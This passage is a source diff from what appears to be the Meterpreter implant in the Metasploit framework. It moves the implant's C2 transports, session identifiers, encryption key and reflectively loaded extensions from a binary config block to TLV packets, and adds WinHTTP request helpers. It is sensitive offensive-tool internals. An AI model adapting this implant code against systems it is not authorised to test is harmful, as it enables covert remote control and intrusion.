uriLen, L"/"); + wcscat_s(uri, uriLen, ctx->uuid); + wcscat_s(uri, uriLen, L"/"); + } + + // append existing query string, if any + if (queryString) + { + wcscat_s(uri, uriLen, queryString); + } + + // add the query string paramter if required + if (getParam) + { + wcscat_s(uri, uriLen, queryString ? L"&" : L"?"); + wcscat_s(uri, uriLen, conn->options.uuid_get); + wcscat_s(uri, uriLen, L"="); + wcscat_s(uri, uriLen, ctx->uuid); + } + + dprintf("[GENURI] final URI: %S", uri); + + return uri; +} + diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h new file mode 100644 index 000000000..e1c37fa06 --- /dev/null +++ b/c/meterpreter/source/metsrv/server_http_utils.h @@ -0,0 +1,15 @@ +/*! + * @file server_http_utils.h + * @remark HTTP utility function declarations. + */ +#ifndef _METERPRETER_METSRV_SERVER_HTTP_UTILS +#define _METERPRETER_METSRV_SERVER_HTTP_UTILS + +#include "metsrv.h" + +BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD encodedDataLen, LPBYTE* data, LPDWORD dataLen); +BOOL encode_raw_packet(HttpTransportContext* conn, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen); +PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn); +PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn); + +#endif diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index db73ab4d3..7f50db05a 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -61,63 +61,66 @@ DWORD server_sessionid() } /*! - * @brief Load any stageless extensions that might be present in the current payload. + * @brief Load any stageless extensions that might be present in the given configuration. * @param remote Pointer to the remote instance. * @param fd The socket descriptor passed to metsrv during intialisation. * @return Pointer to the end of the configuration. */ -LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions) +VOID load_stageless_extensions(Remote* remote, Packet* configPacket) { - while (stagelessExtensions->size > 0) + DWORD index = 0; + Tlv extensionTlv = { 0 }; + + // start by loading the extensions before doing any init scripts + while (packet_enum_tlv(configPacket, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) { - dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); - HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); + DWORD dllSize = 0; + LPBYTE dll = packet_get_tlv_group_entry_value_raw(configPacket, &extensionTlv, TLV_TYPE_DATA, &dllSize); + + dprintf("[SERVER] Extension located at 0x%p: %u bytes", dll, dllSize); + HMODULE hLibrary = LoadLibraryR(dll, dllSize, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); - stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); + ++index; } dprintf("[SERVER] All stageless extensions loaded"); - // once we have reached the end, we may have extension initializers - LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size); - - // Config blog is terminated by a -1 - while (*(UINT*)initData != 0xFFFFFFFF) + // then iterate again and initialise those that require it. + index = 0; + while (packet_enum_tlv(configPacket, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) { - UINT extensionId = *(UINT*)initData; - DWORD dataSize = *(DWORD*)(initData + sizeof(DWORD)); - UINT offset = sizeof(UINT) + sizeof(DWORD); - LPBYTE data = initData + offset; - dprintf("[STAGELESS] init data at %p, ID %u, size is %d", initData, extensionId, dataSize); - stagelessinit_extension(extensionId, data, dataSize); - initData = data + dataSize; - dprintf("[STAGELESS] init done, now pointing to %p", initData); - dprintf("[STAGELESS] %p contains %x", *(UINT*)initData); + DWORD initSize = 0; + PCHAR init = packet_get_tlv_group_entry_value_string(configPacket, &extensionTlv, TLV_TYPE_STRING, &initSize); + if (init != NULL) + { + UINT extId = packet_get_tlv_group_entry_value_uint(configPacket, &extensionTlv, TLV_TYPE_UINT); + dprintf("[STAGELESS] init data at %p, size %u, ID %u", init, initSize, extId); + stagelessinit_extension(extId, init, initSize); + } + ++index; } dprintf("[SERVER] All stageless extensions initialised"); - return initData + sizeof(UINT); } -static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) +static Transport* create_transport(Remote* remote, Packet* packet, Tlv* c2Tlv) { + PCHAR url = packet_get_tlv_group_entry_value_string(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); Transport* transport = NULL; - dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url); - dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); - dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); - dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); - if (wcsncmp(transportCommon->url, L"tcp", 3) == 0) + dprintf("[TRNS] Transport claims to have URL: %S", url); + + if (strncmp(url, "tcp", 3) == 0) { - transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size); + transport = transport_create_tcp(packet, c2Tlv); } - else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0) + else if (strncmp(url, "pipe", 4) == 0) { - transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size); + transport = transport_create_named_pipe(packet, c2Tlv); } else { - transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size); + transport = transport_create_http(packet, c2Tlv); } if (transport == NULL) @@ -187,123 +190,83 @@ static void remove_transport(Remote* remote, Transport* oldTransport) oldTransport->transport_destroy(oldTransport); } -static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) +static BOOL create_transports(Remote* remote, Packet* packet) { - DWORD totalSize = 0; - MetsrvTransportCommon* current = transports; + DWORD index = 0; + Tlv c2Tlv = { 0 }; - // The first part of the transport is always the URL, if it's NULL, we are done. - while (current->url[0] != 0) + while (packet_enum_tlv(packet, index, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) { - DWORD size; - if (create_transport(remote, current, &size) != NULL) - { - dprintf("[TRANS] transport created of size %u", size); - totalSize += size; - - // go to the next transport based on the size of the existing one. - current = (MetsrvTransportCommon*)((LPBYTE)current + size); - } - else - { - // This is not good - return FALSE; - } + create_transport(remote, packet, &c2Tlv); + ++index; } - // account for the last terminating NULL wchar - *parsedSize = totalSize + sizeof(wchar_t); - return TRUE; } static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) { - // This function is really only used for migration purposes. - DWORD s = sizeof(MetsrvSession); - MetsrvSession* sess = (MetsrvSession*)malloc(s); - ZeroMemory(sess, s); - - dprintf("[CONFIG] preparing the configuration"); - - // start by preparing the session, using the given UUID if specified, otherwise using - // the existing session UUID - memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE); - // session GUID should persist across migration - memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID)); -#ifdef DEBUGTRACE - memcpy(sess->log_path, remote->orig_config->session.log_path, LOG_PATH_SIZE); - -#endif - if (remote->sess_expiry_end) + dprintf("[METSRV] - config_create -- starting"); + UINT_PTR commsHandle = 0; + Packet* configPacket = packet_create(PACKET_TLV_TYPE_CONFIG, 0); + dprintf("[METSRV] - config_create -- created config packet"); + packet_add_tlv_uint(configPacket, TLV_TYPE_SESSION_EXPIRY, remote->sess_expiry_end ? remote->sess_expiry_end - current_unix_timestamp() : 0); + dprintf("[METSRV] - config_create -- added Session Expiry"); + if (uuid == NULL) { - sess->expiry = remote->sess_expiry_end - current_unix_timestamp(); + uuid = remote->uuid; } - else + packet_add_tlv_raw(configPacket, TLV_TYPE_UUID, uuid, UUID_SIZE); + dprintf("[METSRV] - config_create -- added uuid"); + packet_add_tlv_raw(configPacket, TLV_TYPE_SESSION_GUID, remote->session_guid, sizeof(remote->session_guid)); + dprintf("[METSRV] - config_create -- added Session GUID"); + packet_add_tlv_uint(configPacket, TLV_TYPE_EXITFUNC, EXITFUNC_THREAD); + dprintf("[METSRV] - config_create -- added exitfunc"); + + if (remote->enc_ctx->valid && remote->enc_ctx->enabled) { - sess->expiry = 0; + // TODO OJ: confirm that it's worth doing this? + packet_add_tlv_raw(configPacket, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length); } - sess->exit_func = EXITFUNC_THREAD; // migration we default to this. + + // Can't support DEBUG LOGGING during migration? Transport* current = remote->transport; Transport* t = remote->transport; do { - // extend memory appropriately - DWORD neededSize = t->get_config_size(t); - - dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize); - - sess = (MetsrvSession*)realloc(sess, s + neededSize); - - // load up the transport specifics - LPBYTE target = (LPBYTE)sess + s; - - ZeroMemory(target, neededSize); - s += neededSize; - if (t == current && t->get_handle != NULL) { - sess->comms_handle.handle = t->get_handle(t); - dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle); - } - - switch (t->type) - { - case METERPRETER_TRANSPORT_TCP: - { - transport_write_tcp_config(t, (MetsrvTransportTcp*)target); - break; - } - case METERPRETER_TRANSPORT_PIPE: - { - transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target); - break; - } - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - transport_write_http_config(t, (MetsrvTransportHttp*)target); - break; - } + commsHandle = t->get_handle(t); + dprintf("[CONFIG] Comms handle set to %p", commsHandle); } + dprintf("[METSRV] - config_create -- adding transport"); + t->write_config(t, configPacket); t = t->next_transport; } while (t != current); - // Terminate the transport with a NULL wchar. - // Then terminate the extensions with a zero DWORD. - // Then terminate the config with a -1 DWORD - DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD) + sizeof(DWORD); - sess = (MetsrvSession*)realloc(sess, s + terminatorSize); - memset((LPBYTE)sess + s, 0xFF, terminatorSize); - ZeroMemory((LPBYTE)sess + s, terminatorSize - sizeof(DWORD)); - s += terminatorSize; - - // hand off the data - dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); - *size = s; - *config = (MetsrvConfig*)sess; + LPBYTE packetData = NULL; + DWORD packetDataSize = 0; + + dprintf("[METSRV] - config_create -- transports done, serializing..."); + // serialize and xor the packet (config packets aren't encrypted) + if (encrypt_packet(remote, configPacket, &packetData, &packetDataSize) == ERROR_SUCCESS) + { + dprintf("[METSRV] - config_create -- serialized, constructing config block"); + // put the final result in a config block + *size = packetDataSize + sizeof(MetsrvConfig); + *config = (MetsrvConfig*)calloc(1, *size); + (*config)->comms_handle.handle = commsHandle; + memcpy_s((*config)->config_packet, packetDataSize, packetData, packetDataSize); + } + + if (packetData != NULL) + { + free(packetData); + } + + packet_destroy(configPacket); } /*! @@ -311,29 +274,38 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ -DWORD server_setup(MetsrvConfig* config) +DWORD server_setup(MetsrvConfig* config, Packet* configPacket) { + dprintf("[SERVER] server_setup running"); + THREAD* serverThread = NULL; Remote* remote = NULL; char stationName[256] = { 0 }; char desktopName[256] = { 0 }; DWORD res = 0; - dprintf("[SERVER] Initializing from configuration: 0x%p", config); - dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); - dprintf("[SESSION] Expiry: %u", config->session.expiry); + UINT sessionExpiry = packet_get_tlv_value_uint(configPacket, TLV_TYPE_SESSION_EXPIRY); + dprintf("[SERVER] Expiry: %u", sessionExpiry); - dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], - config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], - config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], - config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); + DWORD uuidSize = 0; + PBYTE uuid = packet_get_tlv_value_raw(configPacket, TLV_TYPE_UUID, &uuidSize); - dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3], - config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7], - config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11], - config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]); + dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + uuid[0], uuid[1], uuid[2], uuid[3], + uuid[4], uuid[5], uuid[6], uuid[7], + uuid[8], uuid[9], uuid[10], uuid[11], + uuid[12], uuid[13], uuid[14], uuid[15]); + + DWORD sessionGuidSize = 0; + PBYTE sessionGuid = packet_get_tlv_value_raw(configPacket, TLV_TYPE_SESSION_GUID, &sessionGuidSize); + if (sessionGuid != NULL) + { + dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + sessionGuid[0], sessionGuid[1], sessionGuid[2], sessionGuid[3], + sessionGuid[4], sessionGuid[5], sessionGuid[6], sessionGuid[7], + sessionGuid[8], sessionGuid[9], sessionGuid[10], sessionGuid[11], + sessionGuid[12], sessionGuid[13], sessionGuid[14], sessionGuid[15]); + } disable_thread_error_reporting(); @@ -354,7 +326,13 @@ DWORD server_setup(MetsrvConfig* config) break; } - remote->sess_expiry_time = config->session.expiry; + memcpy_s(remote->uuid, sizeof(remote->uuid), uuid, uuidSize); + if (sessionGuid != NULL) + { + memcpy_s(remote->session_guid, sizeof(remote->session_guid), sessionGuid, sizeof(remote->session_guid)); + } + + remote->sess_expiry_time = sessionExpiry; remote->sess_start_time = current_unix_timestamp(); if (remote->sess_expiry_time) { @@ -367,18 +345,25 @@ DWORD server_setup(MetsrvConfig* config) dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); - DWORD transportSize = 0; - if (!create_transports(remote, config->transports, &transportSize)) + if (!create_transports(remote, configPacket)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); break; } - dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); + DWORD keySize = 0; + LPBYTE key = packet_get_tlv_value_raw(configPacket, TLV_TYPE_SYM_KEY, &keySize); + if (key != NULL && keySize > 0) + { + dprintf("[DISPATCH] AES key provided in configuration, setting up!"); + create_enc_ctx_from_key(remote, key, keySize); + } + + dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->comms_handle.handle); if (remote->transport->set_handle) { - remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); + remote->transport->set_handle(remote->transport, config->comms_handle.handle); } // Set up the transport creation function pointer @@ -395,18 +380,7 @@ DWORD server_setup(MetsrvConfig* config) register_dispatch_routines(); // this has to be done after dispatch routine are registered - LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); - - dprintf("[SERVER] Copying configuration .."); - // the original config can actually be mapped as RX in cases such as when stageless payloads - // are baked directly into .NET assemblies. We need to make sure that this area of memory includes - // The writable flag as well otherwise we get access violations when we're interacting with the - // configuration block down the track. So instead of marking the original configuration as RWX (to cover - // all cases) we will instead just muck with a copy of it on the heap. - DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config; - remote->orig_config = (MetsrvConfig*)malloc(configSize); - memcpy_s(remote->orig_config, configSize, config, configSize); - dprintf("[SERVER] Config copied.."); + load_stageless_extensions(remote, configPacket); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) @@ -506,9 +480,6 @@ DWORD server_setup(MetsrvConfig* config) // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } - - // if we had an encryption context we should clear it up. - free_encryption_context(remote); } // clean up the transports @@ -517,6 +488,9 @@ DWORD server_setup(MetsrvConfig* config) remove_transport(remote, remote->transport); } + // if we had an encryption context we should clear it up. + free_encryption_context(remote); + dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); } while (0); diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c index 3576f067f..06228e570 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -183,9 +183,9 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) #endif // if we don't have a GUID yet, we need to take the one given in the packet - if (is_null_guid(remote->orig_config->session.session_guid)) + if (is_null_guid(remote->session_guid)) { - memcpy(remote->orig_config->session.session_guid, header.session_guid, sizeof(remote->orig_config->session.session_guid)); + memcpy_s(remote->session_guid, sizeof(remote->session_guid), header.session_guid, sizeof(header.session_guid)); } payloadLength = ntohl(header.length) - sizeof(TlvHeader); @@ -638,15 +638,12 @@ static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handl * @param transport Transport data to create the configuration from. * @param config Pointer to the config block to write to. */ -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config) +void transport_write_named_pipe_config(Transport* transport, Packet* c2Packet) { - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); } /*! @@ -676,42 +673,29 @@ static DWORD get_migrate_context_named_pipe(Transport* transport, DWORD targetPr return ERROR_SUCCESS; } -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_named_pipe(Transport* t) -{ - return sizeof(MetsrvTransportNamedPipe); -} - /*! * @brief Creates a new named pipe transport instance. * @param config The Named Pipe configuration block. * @param size Pointer to the size of the parsed config block. * @return Pointer to the newly configured/created Named Pipe transport instance. */ -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) +Transport* transport_create_named_pipe(Packet* packet, Tlv* c2Tlv) { Transport* transport = (Transport*)calloc(1, sizeof(Transport)); NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); - if (size) - { - *size = sizeof(MetsrvTransportNamedPipe); - } - // Lock used to synchronise writes ctx->write_lock = lock_create(); - dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); + PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); + + dprintf("[TRANS NP] Creating pipe transport for url %S", url); transport->type = METERPRETER_TRANSPORT_PIPE; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); + transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); + transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); + transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); + transport->url = url; transport->packet_transmit = packet_transmit_named_pipe; transport->transport_init = configure_named_pipe_connection; transport->transport_destroy = transport_destroy_named_pipe; @@ -722,7 +706,7 @@ Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_named_pipe; - transport->get_config_size = transport_get_config_size_named_pipe; + transport->write_config = transport_write_named_pipe_config; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.h b/c/meterpreter/source/metsrv/server_transport_named_pipe.h index 704a72a58..e23051aad 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.h +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.h @@ -1,7 +1,7 @@ #ifndef _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE #define _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config); -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size); +void transport_write_named_pipe_config(Transport* transport, Packet* packet, Tlv* configTlv); +Transport* transport_create_named_pipe(Packet* packet, Tlv* c2Tlv); #endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c index 0ee756b30..99d7c32f6 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -455,7 +455,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet) dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); #endif - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + if (is_null_guid(header.session_guid) || memcmp(remote->session_guid, header.session_guid, sizeof(header.session_guid)) == 0) { dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet"); SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); @@ -814,15 +814,12 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt * @param transport Transport data to create the configuration from. * @return config Pointer to the config block to write to. */ -void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) +void transport_write_tcp_config(Transport* transport, Packet* c2Packet) { - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); } /*! @@ -856,42 +853,29 @@ static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId return ERROR_SUCCESS; } -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_tcp(Transport* t) -{ - return sizeof(MetsrvTransportTcp); -} - /*! * @brief Creates a new TCP transport instance. * @param config The TCP configuration block. * @param size Pointer to the size of the parsed config block. * @return Pointer to the newly configured/created TCP transport instance. */ -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) +Transport* transport_create_tcp(Packet* packet, Tlv* c2Tlv) { Transport* transport = (Transport*)malloc(sizeof(Transport)); TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); - if (size) - { - *size = sizeof(MetsrvTransportTcp); - } + PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); - dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url); + dprintf("[TRANS TCP] Creating tcp transport for url %S", url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(TcpTransportContext)); transport->type = METERPRETER_TRANSPORT_TCP; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); + transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); + transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); + transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); + transport->url = url; transport->packet_transmit = packet_transmit_tcp; transport->transport_init = configure_tcp_connection; transport->transport_destroy = transport_destroy_tcp; @@ -902,7 +886,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_tcp; - transport->get_config_size = transport_get_config_size_tcp; + transport->write_config = transport_write_tcp_config; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.h b/c/meterpreter/source/metsrv/server_transport_tcp.h index d1671dfad..093c5d0f5 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.h +++ b/c/meterpreter/source/metsrv/server_transport_tcp.h @@ -1,7 +1,7 @@ #ifndef _METERPRETER_METSRV_TRANSPORT_TCP #define _METERPRETER_METSRV_TRANSPORT_TCP -void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config); -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size); +void transport_write_tcp_config(Transport* transport, Packet* packet, Tlv* configTlv); +Transport* transport_create_tcp(Packet* packet, Tlv* c2Tlv); #endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 3e38377a3..ba6161124 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -8,6 +8,13 @@ #include #include "packet_encryption.h" #include "pivot_packet_dispatch.h" +#include "server_http_utils.h" + +#ifdef DEBUGTRACE +#define DBG_PRINT_OPTIONS(t, o) debug_print_http_options(t, o) +#else +#define DBG_PRINT_OPTIONS(t, o) +#endif /*! * @brief Prepare a winHTTP request with the given context. @@ -27,8 +34,14 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons dprintf("[%s] Setting secure flag..", direction); } - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = WinHttpOpenRequest(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags); + HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; + + PWSTR uri = generate_uri(ctx, conn); + + vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); + hReq = WinHttpOpenRequest(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags); + + free(uri); if (hReq == NULL) { @@ -75,9 +88,9 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons } autoProxyOpts.fAutoLogonIfChallenged = TRUE; - if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) + if (WinHttpGetProxyForUrl(conn->internet, ctx->url, &autoProxyOpts, &proxyInfo)) { - ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); + ctx->proxy_for_url = calloc(1, sizeof(WINHTTP_PROXY_INFO)); memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); } } @@ -180,24 +193,76 @@ static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, return WinHttpReadData(hReq, buffer, bytesToRead, bytesRead); } +/* + * @brief Write a given payload to an open outbound HTTP request. + * @param hReq Handle to the open HTTP request. + * @param buffer Pointer to a buffer containing the data. Can be NULL. + * @param size Number of bytes to write from the \c buffer memory location. + * @return Indication of success/failure. + * @details This helper function is used to write data to outbound requests in batches, and is + * useful for when there are payload prefixes and suffixes in use. It can be called with + * \c NULL pointers and \c 0 size values so that the caller doesn't have to check for the + * validity of data sources. + */ +static BOOL write_to_request(HANDLE hReq, LPVOID buffer, DWORD size) +{ + while (buffer != NULL && size > 0) + { + LPBYTE data = (LPBYTE)buffer; + DWORD written = 0; + dprintf("[WINHTTP] writing data to request. %u (0x%x) from %p", size, size, data + written); + if (!WinHttpWriteData(hReq, data + written, size, &written)) + { + return FALSE; + } + size -= written; + } + return TRUE; +} /*! * @brief Wrapper around WinHTTP-specific sending functionality. * @param ctx Pointer to the current HTTP transport context. * @param hReq HTTP request handle. + * @param conn Pointer to the GET/POST connection config. * @param buffer Pointer to the buffer to receive the data. * @param size Buffer size. * @return An indication of the result of sending the request. */ -static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, HttpConnection* conn, LPVOID buffer, DWORD size) { - if 